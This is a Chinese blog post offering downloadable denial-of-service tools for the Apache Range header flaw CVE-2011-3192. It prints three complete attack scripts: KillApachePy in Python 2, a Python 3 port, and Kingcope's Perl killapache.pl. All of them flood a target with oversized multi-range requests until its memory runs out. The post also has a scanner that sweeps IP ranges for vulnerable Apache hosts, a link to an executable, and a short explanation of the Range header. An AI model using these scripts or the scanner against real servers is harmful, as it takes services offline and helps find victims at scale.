HTTP RANGE DOS 工具下载

关于绿盟的介绍:

http://www.nsfocus.net/index.php?act=alert&do=view&aid=120


py2版本

#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION     = "0.1d"
AUTHOR      = "Miroslav Stampar (http://unconciousmind.blogspot.com | @stamparm)"
LICENSE     = "Public domain (FREE)"

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    url = ("http://%s" % url) if '://' not in url else url
    host = urlparse.urlparse(url).netloc

    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request): # Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False): #Send the vulnerable request to the target
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': user_agent or USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if any([item in str(msg) for item in ('Too many', 'Connection reset')]):
                pass
            elif 'timed out' in str(msg):
                print "\r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerable\n"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "\r(x) Ctrl-C was pressed"
        os._exit(1)

if __name__ == "__main__":
    print "%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()


py3版本:

import threading,argparse,sys,socket,re




parser = argparse.ArgumentParser(description='Http range Dos tools,by Yatere.')


parser.add_argument('-t',help="Trager's IP or domain")
parser.add_argument('-r',default=256,type=int,help="Trager's Threading Number")
parser.add_argument('-f',default=False,type=bool,help="force dos")


args = parser.parse_args()
if args.t ==None:
          parser.print_help()
          sys.exit(1)
          


domain=args.t
threadno=args.r
force=args.f
port=80


p=''
for i in range(1300):
          p=p+',5-'+str(i)


had='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-'+p+'\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'
had1='HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'






class yk(threading.Thread):
          def __init__(self,domain,port=80):
                    super(yk,self).__init__()
                    self.domain=domain
                    self.port=port
                    self.start()


          def run(self):
                    while True:
                              try:  
                                        a=socket.socket()
                                        a.connect((self.domain,self.port))
                                        a.send(had.encode())
                                        a.close()
                                        print('HEADing\n')
                              except Exception as a:
                                        print (a)
                                        pass
                    




a=socket.socket()
a.connect((domain,port))
a.send(had1.encode())
s=a.recv(1024).decode()
if not force:
          if not s.find('bytes 0-')>0:
                    print('目标服务器貌似不存在本漏洞')
                    sys.exit(1)


                                        
for i in range(threadno):
          yk(domain,port)





扫描脚本。

import threading,sys,socket,iptools,queue




ipstart=sys.argv[1]
ipstop=sys.argv[2]


def had(domain):
          return 'HEAD / HTTP/1.1\r\nHost: '+domain+''+'\r\nRange: bytes=0-\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n'


class yk(threading.Thread):
          def __init__(self,que,port=80):
                    super(yk,self).__init__()
                    self.que=que
                    self.port=port
                    self.start()


          def run(self):
                    while True:
                              if self.que.empty():
                                        break
                              ip=self.que.get()
                              try:
                                        a=socket.socket()
                                        a.connect((ip,self.port))
                                        a.send(had(ip).encode())
                                        s=a.recv(1024).decode()
                                        if s.find('bytes 0-')>1 and s.find('pache')>1 :
                                                  print(ip,'存在Apache Range Dos漏洞')
                                        a.close()
                              except Exception as a:
                                        pass
                              self.que.task_done() 




que=queue.Queue()
for i in iptools.IpRange((ipstart,ipstop)):
          que.put(i)




for i in range(10):
          yk(que)






本代码的可执行程序下载地址:

http://howfile.com/file/2611e8a1/f91052a3/



 以下是国外的介绍:

http://blog.spiderlabs.com/2011/08/mitigation-of-apache-range-header-dos-attack.html

此外pediy上有个帖子总结不错

http://bbs.pediy.com/showthread.php?t=146952


------------------

假设你要开发一个多线程下载工具,你会自然的想到把文件分割成多个部分,比如4个部分,然后创建4个线程,每个线程负责下载一个部分,如果文件大小为 403个byte,那么你的分割方式可以为:0-99 (前100个字节),100-199(第二个100字节),200-299(第三个100字节),300-402(最后103个字节)。

    分割完成,每个线程都明白自己的任务,比如线程3的任务是负责下载200-299这部分文件,现在的问题是:线程3发送一个什么样的请求报文,才能够保证只请求文件的200-299字节,而不会干扰其他线程的任务。这时,我们可以使用HTTP1.1的Range头。Range头域可以请求实体的一个或者多个子范围,Range的值为0表示第一个字节,也就是Range计算字节数是从0开始的:
    表示头500个字节:Range: bytes=0-499
    表示第二个500字节:Range: bytes=500-999
    表示最后500个字节:Range: bytes=-500
    表示500字节以后的范围:Range: bytes=500-
    第一个和最后一个字节:Range: bytes=0-0,-1
    同时指定几个范围:Range: bytes=500-600,601-999
所以,线程3发送的请求报文必须有这一行:
    Range: bytes=200-299

     服务器接收到线程3的请求报文,发现这是一个带有Range头的GET请求,如果一切正常,服务器的响应报文会有下面这行:
HTTP/1.1 206 OK
表示处理请求成功,响应报文还有这一行
Content-Range: bytes 200-299/403
斜杠后面的403表示文件的大小,通常Content-Range的用法为:
     . The first 500 bytes:
     Content-Range: bytes 0-499/1234

     . The second 500 bytes:
     
Content-Range: bytes 500-999/1234

     . All except for the first 500 bytes:
     
Content-Range: bytes 500-1233/1234

     . The last 500 bytes:
     
Content-Range: bytes 734-1233/1234

------------------

国外提供的攻击脚本

#Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
	print "Apache Remote Denial of Service (memory exhaustion)\n";
	print "by Kingcope\n";
	print "usage: perl killapache.pl <host> [numforks]\n";
	print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
	
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
	$p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next; 	
	
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                     			 Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
	print "host seems vuln\n";
	return 1;	
} else {
	return 0;	
}
}

if ($#ARGV < 0) {
	usage;
	exit;	
}

if ($#ARGV > 1) {
	$numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
	print "Host does not seem vulnerable\n";
	exit;	
}
while(1) {
killapache();
}


评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值